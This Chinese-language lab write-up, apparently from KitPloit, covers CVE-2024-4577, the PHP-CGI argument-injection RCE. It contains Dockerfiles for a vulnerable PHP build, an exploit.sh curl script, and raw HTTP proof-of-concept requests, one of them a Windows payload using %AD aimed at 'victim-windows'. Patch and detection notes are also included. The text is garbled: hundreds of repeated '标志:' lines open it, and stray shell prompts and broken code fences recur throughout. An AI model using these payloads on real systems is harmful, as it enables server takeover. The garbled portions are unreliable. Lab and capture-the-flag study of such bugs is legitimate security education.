
标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(在真实的 CTF 中,你不会被告知路径——你需要通过 RCE 运行 ls -la / 来找到它。试试 bash exploit.sh http://localhost:8080 "ls -la /"。)

11. 清理命令```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
---

## 🔬 漏洞利用原理,逐步解析

1. **客户端 → Apache。** 你发送
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   并在请求体中携带 PHP 载荷。

2. **Apache 路由。** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` 将请求路由到
   **php-cgi** 二进制文件(mod_actions + mod_cgi)。

3. **查询字符串 → argv(CGI 规则)。** Apache 的 `mod_cgi` 发现查询字符串
   中**没有未编码的 `=`**(我们发送的是 `%3d`,而非 `=`),因此根据 RFC 3875,
   它会按 `+` 分割,对每个词进行 URL 解码,并将其作为 `argv` 传递给 php-cgi:
   `-d`、`allow_url_include=1`、`-d`、`auto_prepend_file=php://input`。

4. **php-cgi 解析注入的选项。** 这个 php-cgi(5.4.1,2012 年修复之前)
   **没有 `skip_getopt` 防护**,因此它会愉快地处理 `-d` 选项:
   - `allow_url_include=1` — 允许从流包装器中包含 PHP。
   - `auto_prepend_file=php://input` — 在运行请求的脚本之前,
     将**请求体**作为 PHP 包含并执行。

5. **请求体作为代码执行。** `php://input` 是你的 POST 请求体,
   `<?php system('id; cat /flag.txt'); die(); ?>`。它以 Apache 用户
   (`www-data`)身份运行,执行操作系统命令,打印其输出,并在
   `index.php` 运行之前调用 `die()`。

6. **标志提取。** `system('cat /flag.txt')` 读取 `/flag.txt`(`www-data`
   可读)并将其返回在 HTTP 响应中。

### 漏洞为何存在(更深层的“为什么”)

- **CGI 将*参数*与*用户输入*混为一谈。** 1990 年代的 CGI 约定将查询字符串
  转换为 `argv`,本是为 `<ISINDEX>` 搜索脚本设计的。将其指向像 `php-cgi`
  这样的解释器(其 `argv` 是强大的配置开关)是一个范畴错误:用户可控数据
  变成了程序配置。

- **`-d` 是远程 INI 注入。** `php-cgi -d name=value` 在运行时覆盖*任何*
  INI 指令,甚至能覆盖加固过的 `php.ini`。`auto_prepend_file`
  + `allow_url_include` + `php://input` 包装器组合成
  “执行请求体”,即 RCE。

- **CVE-2024-4577 具体存在的原因**是 CVE-2012-1823 的修复在 Windows 执行
  **最佳匹配编码转换**之前检查查询字符串是否以 `-` 开头。攻击者发送 `%AD`
  (软连字符);在检查运行时它不是 `-`,因此防护通过,但 Windows 随后将
  `0xAD → 0x2D (-)` 进行最佳匹配映射,在门禁之后重新引入 `-`。**先检查后转换**
  的顺序 + 依赖区域设置的、有损的编码 = 补丁绕过。

---

## 🛡️ 为什么此挑战能抵御“直接猜标志”/ AI 捷径

- 标志**不在 Web 根目录中**,也**未被 `index.php` 引用**,
  因此无论多少爬取、模糊测试或阅读应用源码都无法揭示它。
- **没有逻辑后门**(没有 `if (input === flag)`),因此求解者无法
  逆向比较 — 标志只会在**真实操作系统命令执行之后**出现在进程的 stdout 中。
- 获取它**需要执行实际的参数注入漏洞利用**:
  正确地将 `=` 编码为 `%3d`,保持 `-` 作为选项分隔符,并通过
  `php://input` 传递载荷。任何一步出错,你得到的都是无害的 ACME 页面,
  而不是标志。
- 令牌是一个**高熵随机字符串**,不是可猜测的单词。

---

## 现实世界中的修复措施

- 将 PHP 更新到 **≥ 8.3.8 / 8.2.20 / 8.1.29**。
- **不要以 CGI 方式运行 PHP。** 使用 PHP-FPM / mod_php。
- 在 Windows/XAMPP 上,移除暴露 `php-cgi.exe` 的 `ScriptAlias`/处理器映射;
  阻止查询字符串以编码的软连字符开头的请求;在 WAF 中拒绝查询字符串中的 `%AD`。
- 检测:包含 `%AD`、`auto_prepend_file`、`allow_url_include` 或
  `php://input` 的查询字符串的 Web 日志。

---

# 附录 — 每个文件的完整内容

以下是每个文件的完整源码,因此本文档完全自包含。

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

参考

  • DEVCORE 公告 — “CVE-2024-4577 · PHP CGI 参数注入”(2024 年 6 月)。
  • PHP 针对 8.1.29 / 8.2.20 / 8.3.8 的安全修复提交(sapi/cgi/cgi_main.c)。
  • CVE-2012-1823 — 本实验复现的父级参数注入漏洞。
  • RFC 3875 — 通用网关接口(CGI)1.1 版,§4.4(命令行)。

仅限授权的安全教育 / CTF 使用。

下载工具
本 Linux 实验环境真实 CVE-2024-4577(Windows)
易受攻击组件php-cgiphp-cgi
RCE 原语-d auto_prepend_file=php://input完全相同
URL 中的分隔符字面量 -%AD(最佳匹配 → -)
绕过 2012 年补丁?不适用(PHP 早于该补丁)是,通过 Windows 最佳匹配
可在 Win 11 家庭版 + Docker Desktop 上运行✅❌(需要 Windows 容器)
-
  • 最佳匹配编码击败了防护(2024 年的漏洞)。 在 Windows 上,PHP 使用区域代码页并启用最佳匹配映射来转换命令行。 攻击者发送 %AD(字节 0xAD,软连字符)。在 防护检查的时刻,第一个字节是 0xAD,不是 -,因此 skip_getopt 不会被设置。之后,当 PHP 实际构建 argv 时, Windows 的最佳匹配会将 0xAD 映射为 -,因此 getopt 现在看到的是 -d。选项 注入在本应阻止它的检查之后触发。这种先检查后转换的顺序就是整个漏洞的核心。